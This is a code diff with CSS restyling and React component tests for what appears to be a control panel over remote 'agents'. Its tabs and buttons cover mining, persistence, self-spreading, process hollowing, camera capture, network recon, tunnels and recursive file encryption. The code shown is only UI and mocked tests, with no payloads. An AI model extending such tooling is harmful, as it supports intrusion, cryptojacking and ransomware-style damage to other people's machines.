.fleet-glow { background: #ff00ff; box-shadow: 0 0 10px #ff00ff, 0 0 20px #ff00ff; }
|
||||||
|
|
||||||
.tactical-grid {
|
.tactical-grid {
|
||||||
@@ -82,7 +82,7 @@
|
|||||||
box-shadow: 0 0 10px rgba(187, 134, 252, 0.2);
|
box-shadow: 0 0 10px rgba(187, 134, 252, 0.2);
|
||||||
}
|
}
|
||||||
|
|
||||||
.button-grid button.btn-cyan { border-color: rgba(0, 229, 255, 0.3); color: #00e5ff; }
|
.button-grid button.btn-cyan { border-color: rgba(0, 229, 255, 0.3); color: var(--neon-cyan); }
|
||||||
.button-grid button.btn-cyan:hover { background: rgba(0, 229, 255, 0.1); box-shadow: 0 0 15px rgba(0, 229, 255, 0.4); }
|
.button-grid button.btn-cyan:hover { background: rgba(0, 229, 255, 0.1); box-shadow: 0 0 15px rgba(0, 229, 255, 0.4); }
|
||||||
|
|
||||||
.button-grid button.btn-amber { border-color: rgba(255, 171, 0, 0.3); color: #ffab00; }
|
.button-grid button.btn-amber { border-color: rgba(255, 171, 0, 0.3); color: #ffab00; }
|
||||||
@@ -100,7 +100,7 @@
|
|||||||
|
|
||||||
.screenshot-viewer {
|
.screenshot-viewer {
|
||||||
margin-bottom: 20px;
|
margin-bottom: 20px;
|
||||||
border: 1px solid #00e5ff;
|
border: 1px solid var(--neon-cyan);
|
||||||
border-radius: 6px;
|
border-radius: 6px;
|
||||||
overflow: hidden;
|
overflow: hidden;
|
||||||
box-shadow: 0 0 20px rgba(0, 229, 255, 0.2);
|
box-shadow: 0 0 20px rgba(0, 229, 255, 0.2);
|
||||||
@@ -113,7 +113,7 @@
|
|||||||
justify-content: space-between;
|
justify-content: space-between;
|
||||||
align-items: center;
|
align-items: center;
|
||||||
font-weight: bold;
|
font-weight: bold;
|
||||||
color: #00e5ff;
|
color: var(--neon-cyan);
|
||||||
}
|
}
|
||||||
|
|
||||||
.viewer-header button {
|
.viewer-header button {
|
||||||
@@ -181,7 +181,7 @@
|
|||||||
border-bottom: 1px solid rgba(0,229,255,0.15);
|
border-bottom: 1px solid rgba(0,229,255,0.15);
|
||||||
flex-shrink: 0;
|
flex-shrink: 0;
|
||||||
}
|
}
|
||||||
.terminal-title { font-size: 0.7rem; color: #00e5ff; letter-spacing: 0.06em; font-weight: bold; }
|
.terminal-title { font-size: 0.7rem; color: var(--neon-cyan); letter-spacing: 0.06em; font-weight: bold; }
|
||||||
.terminal-clear-btn { background: none; border: 1px solid #333; color: #555; font-size: 0.65rem; padding: 2px 8px; border-radius: 3px; cursor: pointer; }
|
.terminal-clear-btn { background: none; border: 1px solid #333; color: #555; font-size: 0.65rem; padding: 2px 8px; border-radius: 3px; cursor: pointer; }
|
||||||
.terminal-clear-btn:hover { border-color: #888; color: #ccc; }
|
.terminal-clear-btn:hover { border-color: #888; color: #ccc; }
|
||||||
|
|
||||||
@@ -196,7 +196,7 @@
|
|||||||
.terminal-input-bar .prompt { color: #ff00ff; padding: 10px; font-weight: bold; }
|
.terminal-input-bar .prompt { color: #ff00ff; padding: 10px; font-weight: bold; }
|
||||||
.terminal-input-bar input { flex: 1; background: transparent; border: none; color: #fff; font-family: inherit; outline: none; }
|
.terminal-input-bar input { flex: 1; background: transparent; border: none; color: #fff; font-family: inherit; outline: none; }
|
||||||
.terminal-input-bar button { background: #333; border: none; color: #fff; padding: 0 15px; cursor: pointer; font-weight: bold; }
|
.terminal-input-bar button { background: #333; border: none; color: #fff; padding: 0 15px; cursor: pointer; font-weight: bold; }
|
||||||
.terminal-input-bar button:hover { background: #00e5ff; color: #000; }
|
.terminal-input-bar button:hover { background: var(--neon-cyan); color: #000; }
|
||||||
.terminal-input-bar button:disabled { opacity: 0.4; cursor: not-allowed; }
|
.terminal-input-bar button:disabled { opacity: 0.4; cursor: not-allowed; }
|
||||||
|
|
||||||
/* Upgrade section */
|
/* Upgrade section */
|
||||||
@@ -250,10 +250,10 @@
|
|||||||
background: rgba(255,171,0,0.2);
|
background: rgba(255,171,0,0.2);
|
||||||
border: 1px solid rgba(255,171,0,0.4);
|
border: 1px solid rgba(255,171,0,0.4);
|
||||||
border-radius: 4px;
|
border-radius: 4px;
|
||||||
color: #ffcc44;
|
color: var(--neon-amber);
|
||||||
animation: pulse-amber 1.2s ease-in-out infinite;
|
animation: pulse-amber 1.2s ease-in-out infinite;
|
||||||
}
|
}
|
||||||
.offline-dot { background: #555; box-shadow: 0 0 6px #555; }
|
.offline-dot { background: var(--text-muted); box-shadow: 0 0 6px var(--text-muted); }
|
||||||
|
|
||||||
@keyframes pulse-amber {
|
@keyframes pulse-amber {
|
||||||
0%, 100% { opacity: 1; }
|
0%, 100% { opacity: 1; }
|
||||||
@@ -268,7 +268,7 @@
|
|||||||
border-radius: 4px;
|
border-radius: 4px;
|
||||||
border: 1px solid rgba(0,229,255,0.3);
|
border: 1px solid rgba(0,229,255,0.3);
|
||||||
background: rgba(0,229,255,0.06);
|
background: rgba(0,229,255,0.06);
|
||||||
color: #00e5ff;
|
color: var(--neon-cyan);
|
||||||
cursor: pointer;
|
cursor: pointer;
|
||||||
transition: all 0.2s;
|
transition: all 0.2s;
|
||||||
text-align: left;
|
text-align: left;
|
||||||
@@ -292,7 +292,7 @@
|
|||||||
font-family: 'Consolas', monospace;
|
font-family: 'Consolas', monospace;
|
||||||
outline: none;
|
outline: none;
|
||||||
}
|
}
|
||||||
.wol-mac-input:focus { border-color: #00e5ff; }
|
.wol-mac-input:focus { border-color: var(--neon-cyan); }
|
||||||
.wol-form button { white-space: nowrap; padding: 6px 14px; font-size: 0.8rem; }
|
.wol-form button { white-space: nowrap; padding: 6px 14px; font-size: 0.8rem; }
|
||||||
|
|
||||||
/* Compact mode extras */
|
/* Compact mode extras */
|
||||||
|
|||||||
@@ -0,0 +1,36 @@
|
|||||||
|
import { useState, type ReactNode } from 'react';
|
||||||
|
import { HelpTip } from '../HelpTip';
|
||||||
|
|
||||||
|
interface Props {
|
||||||
|
label: string;
|
||||||
|
className: string;
|
||||||
|
defaultOpen?: boolean;
|
||||||
|
helpField?: string;
|
||||||
|
children: ReactNode;
|
||||||
|
}
|
||||||
|
|
||||||
|
/** Steampunk accordion row for dense Crucible op groups. */
|
||||||
|
export default function CrucibleCollapsibleSection({
|
||||||
|
label,
|
||||||
|
className,
|
||||||
|
defaultOpen = false,
|
||||||
|
helpField,
|
||||||
|
children,
|
||||||
|
}: Props) {
|
||||||
|
const [open, setOpen] = useState(defaultOpen);
|
||||||
|
|
||||||
|
return (
|
||||||
|
<div className={`crucible-op-group ${className} crucible-op-collapsible`}>
|
||||||
|
<div className="cop-toggle-row">
|
||||||
|
<button type="button" className="cop-toggle" onClick={() => setOpen((v) => !v)}>
|
||||||
|
<span className="cop-label">{label}</span>
|
||||||
|
<span className="cop-chevron" aria-hidden>
|
||||||
|
{open ? '▲' : '▼'}
|
||||||
|
</span>
|
||||||
|
</button>
|
||||||
|
{helpField ? <HelpTip field={helpField} /> : null}
|
||||||
|
</div>
|
||||||
|
{open ? <div className="cop-body">{children}</div> : null}
|
||||||
|
</div>
|
||||||
|
);
|
||||||
|
}
|
||||||
225
server/web/src/components/Fleet/CrucibleExpandedOps.test.tsx
Normal file
225
server/web/src/components/Fleet/CrucibleExpandedOps.test.tsx
Normal file
@@ -0,0 +1,225 @@
|
|||||||
|
/**
|
||||||
|
* @vitest-environment happy-dom
|
||||||
|
*/
|
||||||
|
import { type ComponentProps } from 'react';
|
||||||
|
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||||
|
import { cleanup, render, screen, waitFor } from '@testing-library/react';
|
||||||
|
import userEvent from '@testing-library/user-event';
|
||||||
|
import CrucibleExpandedOps from './CrucibleExpandedOps';
|
||||||
|
import { api } from '../../api/client';
|
||||||
|
import { mockAgent } from '../../test/fixtures';
|
||||||
|
|
||||||
|
vi.mock('../../api/client', () => ({
|
||||||
|
api: {
|
||||||
|
listBuilds: vi.fn(),
|
||||||
|
sendAgentCommand: vi.fn(),
|
||||||
|
sendWOL: vi.fn(),
|
||||||
|
sendBulkCommand: vi.fn(),
|
||||||
|
},
|
||||||
|
}));
|
||||||
|
|
||||||
|
vi.mock('./CruciblePortForwardMatrix', () => ({
|
||||||
|
default: () => <div data-testid="port-forward-matrix" />,
|
||||||
|
}));
|
||||||
|
|
||||||
|
vi.mock('./ProtocolTunnelPanel', () => ({
|
||||||
|
default: () => <div data-testid="protocol-tunnel-panel" />,
|
||||||
|
}));
|
||||||
|
|
||||||
|
vi.mock('./FileManager', () => ({
|
||||||
|
default: () => <div data-testid="file-manager" />,
|
||||||
|
}));
|
||||||
|
|
||||||
|
const listBuildsMock = vi.mocked(api.listBuilds);
|
||||||
|
const sendAgentCommandMock = vi.mocked(api.sendAgentCommand);
|
||||||
|
const sendWOLMock = vi.mocked(api.sendWOL);
|
||||||
|
const sendBulkCommandMock = vi.mocked(api.sendBulkCommand);
|
||||||
|
|
||||||
|
const fullCaps = {
|
||||||
|
hole_punch: true,
|
||||||
|
remote_aggressive: true,
|
||||||
|
mesh_p2p: true,
|
||||||
|
auto_spread: true,
|
||||||
|
process_hollowing: false,
|
||||||
|
ai_enabled: false,
|
||||||
|
};
|
||||||
|
|
||||||
|
const onlineWin = mockAgent({
|
||||||
|
id: 'win-1',
|
||||||
|
name: 'WinNode',
|
||||||
|
status: 'online',
|
||||||
|
platform: 'windows',
|
||||||
|
mac_address: 'AA:BB:CC:DD:EE:FF',
|
||||||
|
capabilities: fullCaps,
|
||||||
|
});
|
||||||
|
|
||||||
|
function defaultProps(overrides: Partial<ComponentProps<typeof CrucibleExpandedOps>> = {}) {
|
||||||
|
return {
|
||||||
|
activeTab: 'ops' as const,
|
||||||
|
selectedAgents: [onlineWin],
|
||||||
|
selectedCount: 1,
|
||||||
|
singleSelectedAgent: onlineWin,
|
||||||
|
allAgents: [onlineWin],
|
||||||
|
commandResults: [],
|
||||||
|
onEcho: vi.fn(),
|
||||||
|
onAgentError: vi.fn(),
|
||||||
|
onScanSelected: vi.fn(),
|
||||||
|
onProbePosture: vi.fn(),
|
||||||
|
onProbeSSH: vi.fn(),
|
||||||
|
onWakeSSH: vi.fn(),
|
||||||
|
onShellDispatch: vi.fn(),
|
||||||
|
browseAgent: onlineWin,
|
||||||
|
encryptTargets: [{ id: 'win-1', name: 'WinNode' }],
|
||||||
|
fmCommandResults: [],
|
||||||
|
tunnelStatusMsg: '',
|
||||||
|
onDispatchTunnel: vi.fn(),
|
||||||
|
...overrides,
|
||||||
|
};
|
||||||
|
}
|
||||||
|
|
||||||
|
describe('CrucibleExpandedOps', () => {
|
||||||
|
beforeEach(() => {
|
||||||
|
vi.resetAllMocks();
|
||||||
|
listBuildsMock.mockResolvedValue([
|
||||||
|
{
|
||||||
|
id: 'build-1',
|
||||||
|
file_name: 'worker.exe',
|
||||||
|
download_url: 'http://127.0.0.1:8080/api/download/agent-build-1',
|
||||||
|
platform: 'windows',
|
||||||
|
},
|
||||||
|
]);
|
||||||
|
sendAgentCommandMock.mockResolvedValue({ success: true });
|
||||||
|
sendBulkCommandMock.mockResolvedValue({ sent: 1, failed: 0 });
|
||||||
|
sendWOLMock.mockResolvedValue({ success: true, mac: 'AA:BB:CC:DD:EE:FF' });
|
||||||
|
});
|
||||||
|
|
||||||
|
afterEach(() => {
|
||||||
|
cleanup();
|
||||||
|
vi.unstubAllGlobals();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('renders ops tab section headers', () => {
|
||||||
|
render(<CrucibleExpandedOps {...defaultProps()} />);
|
||||||
|
expect(screen.getByText('Mining')).toBeInTheDocument();
|
||||||
|
expect(screen.getByText('Agent Control')).toBeInTheDocument();
|
||||||
|
expect(screen.getByText('Persistence')).toBeInTheDocument();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('disables persistence audit when no online targets', () => {
|
||||||
|
render(
|
||||||
|
<CrucibleExpandedOps
|
||||||
|
{...defaultProps({
|
||||||
|
selectedAgents: [mockAgent({ id: 'off-1', status: 'offline' })],
|
||||||
|
selectedCount: 1,
|
||||||
|
singleSelectedAgent: mockAgent({ id: 'off-1', status: 'offline' }),
|
||||||
|
})}
|
||||||
|
/>
|
||||||
|
);
|
||||||
|
|
||||||
|
expect(screen.getByRole('button', { name: 'Persistence Audit' })).toBeDisabled();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('dispatches persistence audit to online agents', async () => {
|
||||||
|
const user = userEvent.setup();
|
||||||
|
const onEcho = vi.fn();
|
||||||
|
render(<CrucibleExpandedOps {...defaultProps({ onEcho })} />);
|
||||||
|
|
||||||
|
await user.click(screen.getByRole('button', { name: 'Persistence Audit' }));
|
||||||
|
|
||||||
|
await waitFor(() => {
|
||||||
|
expect(sendAgentCommandMock).toHaveBeenCalledWith('win-1', 'persistence_audit', {});
|
||||||
|
});
|
||||||
|
expect(onEcho).toHaveBeenCalledWith('persistence_audit → 1 node(s)', true);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('sends wake-on-lan for selected agents', async () => {
|
||||||
|
const user = userEvent.setup();
|
||||||
|
const onEcho = vi.fn();
|
||||||
|
render(<CrucibleExpandedOps {...defaultProps({ onEcho })} />);
|
||||||
|
|
||||||
|
await user.click(screen.getByRole('button', { name: 'Wake-on-LAN' }));
|
||||||
|
|
||||||
|
await waitFor(() => {
|
||||||
|
expect(sendWOLMock).toHaveBeenCalledWith('win-1', 'AA:BB:CC:DD:EE:FF');
|
||||||
|
});
|
||||||
|
expect(onEcho).toHaveBeenCalledWith(expect.stringContaining('WOL → WinNode'), true);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('parses camera_list results into device picker on recon tab', async () => {
|
||||||
|
const user = userEvent.setup();
|
||||||
|
const { rerender } = render(<CrucibleExpandedOps {...defaultProps({ activeTab: 'recon' })} />);
|
||||||
|
|
||||||
|
await user.click(screen.getByRole('button', { name: /Media & Desktop Capture/i }));
|
||||||
|
|
||||||
|
rerender(
|
||||||
|
<CrucibleExpandedOps
|
||||||
|
{...defaultProps({
|
||||||
|
activeTab: 'recon',
|
||||||
|
commandResults: [
|
||||||
|
{
|
||||||
|
agent_id: 'win-1',
|
||||||
|
action: 'camera_list',
|
||||||
|
success: true,
|
||||||
|
message: '"USB WebCam"\n/dev/video0',
|
||||||
|
},
|
||||||
|
],
|
||||||
|
})}
|
||||||
|
/>
|
||||||
|
);
|
||||||
|
|
||||||
|
await waitFor(() => {
|
||||||
|
expect(screen.getByDisplayValue('"USB WebCam"')).toBeInTheDocument();
|
||||||
|
});
|
||||||
|
});
|
||||||
|
|
||||||
|
it('dispatches ARP neighbors from recon tab', async () => {
|
||||||
|
const user = userEvent.setup();
|
||||||
|
const onEcho = vi.fn();
|
||||||
|
render(<CrucibleExpandedOps {...defaultProps({ activeTab: 'recon', onEcho })} />);
|
||||||
|
|
||||||
|
await user.click(screen.getByRole('button', { name: /Network & Firewall Posture/i }));
|
||||||
|
await user.click(screen.getByRole('button', { name: 'ARP Neighbors' }));
|
||||||
|
|
||||||
|
await waitFor(() => {
|
||||||
|
expect(sendAgentCommandMock).toHaveBeenCalledWith('win-1', 'arp_neighbors', {});
|
||||||
|
});
|
||||||
|
expect(onEcho).toHaveBeenCalledWith('arp_neighbors → 1 node(s)', true);
|
||||||
|
});
|
||||||
|
|
||||||
|
it('shows spread_now on spread tab', () => {
|
||||||
|
render(<CrucibleExpandedOps {...defaultProps({ activeTab: 'spread' })} />);
|
||||||
|
expect(screen.getByRole('button', { name: 'Spread Now' })).toBeInTheDocument();
|
||||||
|
expect(screen.getByRole('button', { name: /SUPP Seek Mode/i })).toBeInTheDocument();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('shows SSH probe controls on tunnels tab', async () => {
|
||||||
|
const user = userEvent.setup();
|
||||||
|
const onProbeSSH = vi.fn();
|
||||||
|
render(<CrucibleExpandedOps {...defaultProps({ activeTab: 'tunnels', onProbeSSH })} />);
|
||||||
|
|
||||||
|
await user.click(screen.getByRole('button', { name: 'Probe SSH' }));
|
||||||
|
expect(onProbeSSH).toHaveBeenCalled();
|
||||||
|
expect(screen.getByTestId('protocol-tunnel-panel')).toBeInTheDocument();
|
||||||
|
expect(screen.getByText('Port-Forward Matrix')).toBeInTheDocument();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('renders file manager only on files tab', () => {
|
||||||
|
render(<CrucibleExpandedOps {...defaultProps({ activeTab: 'files' })} />);
|
||||||
|
expect(screen.getByTestId('file-manager')).toBeInTheDocument();
|
||||||
|
expect(screen.getByRole('button', { name: /Remote File Browser/i })).toBeInTheDocument();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('requires build selection before push upgrade', async () => {
|
||||||
|
const user = userEvent.setup();
|
||||||
|
render(<CrucibleExpandedOps {...defaultProps()} />);
|
||||||
|
|
||||||
|
const pushBtn = screen.getByRole('button', { name: 'Push Upgrade' });
|
||||||
|
expect(pushBtn).toBeDisabled();
|
||||||
|
|
||||||
|
await waitFor(() => {
|
||||||
|
expect(screen.getByRole('option', { name: /worker\.exe/ })).toBeInTheDocument();
|
||||||
|
});
|
||||||
|
await user.selectOptions(screen.getByRole('combobox'), 'build-1');
|
||||||
|
expect(pushBtn).not.toBeDisabled();
|
||||||
|
});
|
||||||
|
});
|
||||||
File diff suppressed because it is too large
Load Diff
@@ -1,118 +1,339 @@
|
|||||||
.file-manager {
|
.file-manager {
|
||||||
border: 1px solid var(--clr-border, #333);
|
|
||||||
border-radius: 4px;
|
border: 1px solid var(--border-brass);
|
||||||
|
|
||||||
|
border-radius: 6px;
|
||||||
|
|
||||||
padding: 0.75rem;
|
padding: 0.75rem;
|
||||||
background: rgba(0, 0, 0, 0.25);
|
|
||||||
|
background: linear-gradient(165deg, rgba(22, 18, 14, 0.92), rgba(8, 6, 4, 0.96));
|
||||||
|
|
||||||
font-size: 0.85rem;
|
font-size: 0.85rem;
|
||||||
|
|
||||||
|
box-shadow: inset 0 1px 0 rgba(255, 255, 255, 0.04);
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
.fm-header {
|
.fm-header {
|
||||||
|
|
||||||
display: flex;
|
display: flex;
|
||||||
|
|
||||||
justify-content: space-between;
|
justify-content: space-between;
|
||||||
|
|
||||||
align-items: center;
|
align-items: center;
|
||||||
|
|
||||||
margin-bottom: 0.5rem;
|
margin-bottom: 0.5rem;
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
.fm-title {
|
.fm-title {
|
||||||
|
|
||||||
|
font-family: var(--font-tech);
|
||||||
|
|
||||||
font-size: 0.7rem;
|
font-size: 0.7rem;
|
||||||
letter-spacing: 0.06em;
|
|
||||||
color: var(--clr-dim);
|
letter-spacing: 0.08em;
|
||||||
|
|
||||||
|
text-transform: uppercase;
|
||||||
|
|
||||||
|
color: var(--text-muted);
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
.fm-breadcrumb {
|
.fm-breadcrumb {
|
||||||
|
|
||||||
margin-bottom: 0.5rem;
|
margin-bottom: 0.5rem;
|
||||||
|
|
||||||
flex-wrap: wrap;
|
flex-wrap: wrap;
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
.fm-crumb {
|
.fm-crumb {
|
||||||
|
|
||||||
background: none;
|
background: none;
|
||||||
|
|
||||||
border: none;
|
border: none;
|
||||||
color: var(--neon-cyan, #0ff);
|
|
||||||
|
color: var(--neon-cyan);
|
||||||
|
|
||||||
cursor: pointer;
|
cursor: pointer;
|
||||||
|
|
||||||
font-size: 0.75rem;
|
font-size: 0.75rem;
|
||||||
|
|
||||||
padding: 0;
|
padding: 0;
|
||||||
|
|
||||||
|
transition: color 0.2s ease, text-shadow 0.2s ease;
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
.fm-crumb:hover {
|
||||||
|
|
||||||
|
color: var(--brass-light);
|
||||||
|
|
||||||
|
text-shadow: 0 0 8px rgba(0, 232, 245, 0.35);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
.fm-crumb:focus-visible {
|
||||||
|
|
||||||
|
outline: 2px solid var(--neon-cyan);
|
||||||
|
|
||||||
|
outline-offset: 2px;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
.fm-sep {
|
.fm-sep {
|
||||||
|
|
||||||
opacity: 0.5;
|
opacity: 0.5;
|
||||||
|
|
||||||
margin: 0 0.15rem;
|
margin: 0 0.15rem;
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
.fm-filter {
|
.fm-filter {
|
||||||
|
|
||||||
width: 100%;
|
width: 100%;
|
||||||
|
|
||||||
margin-bottom: 0.5rem;
|
margin-bottom: 0.5rem;
|
||||||
|
|
||||||
font-size: 0.8rem;
|
font-size: 0.8rem;
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
.fm-list {
|
.fm-list {
|
||||||
|
|
||||||
list-style: none;
|
list-style: none;
|
||||||
|
|
||||||
margin: 0;
|
margin: 0;
|
||||||
|
|
||||||
padding: 0;
|
padding: 0;
|
||||||
|
|
||||||
max-height: 220px;
|
max-height: 220px;
|
||||||
|
|
||||||
overflow-y: auto;
|
overflow-y: auto;
|
||||||
border: 1px solid #222;
|
|
||||||
|
border: 1px solid rgba(140, 120, 60, 0.2);
|
||||||
|
|
||||||
|
border-radius: 4px;
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
.fm-list li.selected {
|
.fm-list li.selected {
|
||||||
background: rgba(0, 255, 255, 0.08);
|
|
||||||
|
background: rgba(0, 232, 245, 0.08);
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
.fm-row {
|
.fm-row {
|
||||||
|
|
||||||
display: flex;
|
display: flex;
|
||||||
|
|
||||||
align-items: center;
|
align-items: center;
|
||||||
|
|
||||||
gap: 0.4rem;
|
gap: 0.4rem;
|
||||||
|
|
||||||
width: 100%;
|
width: 100%;
|
||||||
|
|
||||||
padding: 0.25rem 0.4rem;
|
padding: 0.25rem 0.4rem;
|
||||||
|
|
||||||
background: none;
|
background: none;
|
||||||
|
|
||||||
border: none;
|
border: none;
|
||||||
|
|
||||||
color: inherit;
|
color: inherit;
|
||||||
|
|
||||||
text-align: left;
|
text-align: left;
|
||||||
|
|
||||||
cursor: pointer;
|
cursor: pointer;
|
||||||
|
|
||||||
|
transition: background 0.15s ease;
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
.fm-row:hover {
|
||||||
|
|
||||||
|
background: rgba(0, 232, 245, 0.04);
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
.fm-name {
|
.fm-name {
|
||||||
|
|
||||||
flex: 1;
|
flex: 1;
|
||||||
|
|
||||||
background: none;
|
background: none;
|
||||||
|
|
||||||
border: none;
|
border: none;
|
||||||
|
|
||||||
color: inherit;
|
color: inherit;
|
||||||
|
|
||||||
text-align: left;
|
text-align: left;
|
||||||
|
|
||||||
cursor: pointer;
|
cursor: pointer;
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
.fm-size {
|
.fm-size {
|
||||||
|
|
||||||
font-size: 0.7rem;
|
font-size: 0.7rem;
|
||||||
color: var(--clr-dim);
|
|
||||||
|
color: var(--text-muted);
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
.fm-actions {
|
.fm-actions {
|
||||||
|
|
||||||
display: flex;
|
display: flex;
|
||||||
|
|
||||||
flex-wrap: wrap;
|
flex-wrap: wrap;
|
||||||
|
|
||||||
gap: 0.4rem;
|
gap: 0.4rem;
|
||||||
|
|
||||||
margin-top: 0.5rem;
|
margin-top: 0.5rem;
|
||||||
|
|
||||||
align-items: center;
|
align-items: center;
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
.fm-upload-path {
|
.fm-upload-path {
|
||||||
|
|
||||||
flex: 1;
|
flex: 1;
|
||||||
|
|
||||||
min-width: 120px;
|
min-width: 120px;
|
||||||
|
|
||||||
font-size: 0.75rem;
|
font-size: 0.75rem;
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
.fm-preview {
|
.fm-preview {
|
||||||
|
|
||||||
margin-top: 0.5rem;
|
margin-top: 0.5rem;
|
||||||
|
|
||||||
max-height: 120px;
|
max-height: 120px;
|
||||||
|
|
||||||
overflow: auto;
|
overflow: auto;
|
||||||
|
|
||||||
font-size: 0.7rem;
|
font-size: 0.7rem;
|
||||||
background: #111;
|
|
||||||
|
background: rgba(6, 6, 12, 0.92);
|
||||||
|
|
||||||
padding: 0.4rem;
|
padding: 0.4rem;
|
||||||
|
|
||||||
|
border: 1px solid rgba(140, 120, 60, 0.15);
|
||||||
|
|
||||||
|
border-radius: 4px;
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
.fm-err {
|
.fm-err {
|
||||||
color: #f66;
|
|
||||||
|
color: var(--error-color);
|
||||||
|
|
||||||
font-size: 0.8rem;
|
font-size: 0.8rem;
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
.fm-offline {
|
.fm-offline {
|
||||||
color: var(--clr-dim);
|
|
||||||
|
color: var(--text-muted);
|
||||||
|
|
||||||
font-size: 0.8rem;
|
font-size: 0.8rem;
|
||||||
|
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
.fm-path {
|
||||||
|
|
||||||
|
font-size: 0.72rem;
|
||||||
|
|
||||||
|
color: var(--neon-cyan);
|
||||||
|
|
||||||
|
margin-bottom: 0.35rem;
|
||||||
|
|
||||||
|
word-break: break-all;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
.fm-upload-wrap {
|
||||||
|
display: inline-flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 0.15rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.fm-encrypt-section {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 0.5rem;
|
||||||
|
width: 100%;
|
||||||
|
margin-top: 0.4rem;
|
||||||
|
border-top: 1px solid rgba(140, 120, 60, 0.2);
|
||||||
|
padding-top: 0.4rem;
|
||||||
|
}
|
||||||
|
|
||||||
|
.fm-recursive-label {
|
||||||
|
display: flex;
|
||||||
|
align-items: center;
|
||||||
|
gap: 0.25rem;
|
||||||
|
font-size: 0.75rem;
|
||||||
|
cursor: pointer;
|
||||||
|
color: var(--text-secondary);
|
||||||
|
}
|
||||||
|
|
||||||
|
.fm-encrypt-btn {
|
||||||
|
background: linear-gradient(135deg, rgba(123, 0, 0, 0.95) 0%, rgba(204, 0, 0, 0.9) 100%);
|
||||||
|
border: 1px solid var(--error-color);
|
||||||
|
color: var(--text-primary);
|
||||||
|
|
||||||
|
font-weight: 700;
|
||||||
|
|
||||||
|
font-size: 0.75rem;
|
||||||
|
|
||||||
|
padding: 0.25rem 0.6rem;
|
||||||
|
|
||||||
|
cursor: pointer;
|
||||||
|
|
||||||
|
border-radius: 3px;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
|
||||||
|
|||||||
560
server/web/src/components/Fleet/FileManager.test.tsx
Normal file
560
server/web/src/components/Fleet/FileManager.test.tsx
Normal file
@@ -0,0 +1,560 @@
|
|||||||
|
/**
|
||||||
|
* @vitest-environment happy-dom
|
||||||
|
*/
|
||||||
|
import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest';
|
||||||
|
import { cleanup, render, screen, fireEvent, waitFor } from '@testing-library/react';
|
||||||
|
import userEvent from '@testing-library/user-event';
|
||||||
|
import FileManager from './FileManager';
|
||||||
|
import { api } from '../../api/client';
|
||||||
|
import { readFileAsBase64 } from '../../help/desktopPush';
|
||||||
|
|
||||||
|
vi.mock('../../api/client', () => ({
|
||||||
|
api: {
|
||||||
|
sendAgentCommand: vi.fn(),
|
||||||
|
},
|
||||||
|
}));
|
||||||
|
|
||||||
|
vi.mock('../../help/desktopPush', () => ({
|
||||||
|
readFileAsBase64: vi.fn(),
|
||||||
|
}));
|
||||||
|
|
||||||
|
const sendAgentCommandMock = vi.mocked(api.sendAgentCommand);
|
||||||
|
const readFileAsBase64Mock = vi.mocked(readFileAsBase64);
|
||||||
|
|
||||||
|
describe('FileManager', () => {
|
||||||
|
const defaultProps = {
|
||||||
|
agentId: 'test-agent-id-12345678',
|
||||||
|
agentName: 'TestAgentName',
|
||||||
|
platform: 'windows',
|
||||||
|
online: true,
|
||||||
|
encryptTargets: [] as { id: string; name: string }[],
|
||||||
|
commandResults: [] as { agentId: string; action: string; success: boolean; message: string }[],
|
||||||
|
onTerminalLine: vi.fn(),
|
||||||
|
};
|
||||||
|
|
||||||
|
beforeEach(() => {
|
||||||
|
vi.resetAllMocks();
|
||||||
|
sendAgentCommandMock.mockResolvedValue({ success: true });
|
||||||
|
readFileAsBase64Mock.mockResolvedValue('mock_base64_payload');
|
||||||
|
});
|
||||||
|
|
||||||
|
afterEach(() => {
|
||||||
|
cleanup();
|
||||||
|
vi.unstubAllGlobals();
|
||||||
|
});
|
||||||
|
|
||||||
|
it('renders offline message and disables actions when agent is offline', () => {
|
||||||
|
render(<FileManager {...defaultProps} online={false} />);
|
||||||
|
|
||||||
|
